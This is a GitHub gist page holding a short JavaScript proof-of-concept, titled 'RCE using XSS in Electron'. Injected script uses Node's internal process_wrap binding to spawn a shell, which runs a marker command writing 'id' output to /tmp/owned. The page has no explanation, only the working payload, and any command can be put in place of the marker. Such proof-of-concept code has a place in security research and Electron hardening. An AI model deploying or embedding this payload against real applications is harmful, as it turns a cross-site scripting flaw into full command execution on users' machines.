Skip to content

Instantly share code, notes, and snippets.

View franquis's full-sized avatar

François du Cray franquis

View GitHub Profile
@franquis
franquis / rce.js
Created March 16, 2018 14:01 — forked from thejh/rce.js
RCE using XSS in Electron
var Process = process.binding('process_wrap').Process;
var proc = new Process();
proc.onexit = function(a,b) {};
var env = process.env;
var env_ = [];
for (var key in env) env_.push(key+'='+env[key]);
proc.spawn({file:'/bin/sh',args:['sh','-c','id > /tmp/owned'],cwd:null,windowsVerbatimArguments:false,detached:false,envPairs:env_,stdio:[{type:'ignore'},{type:'ignore'},{type:'ignore'}]});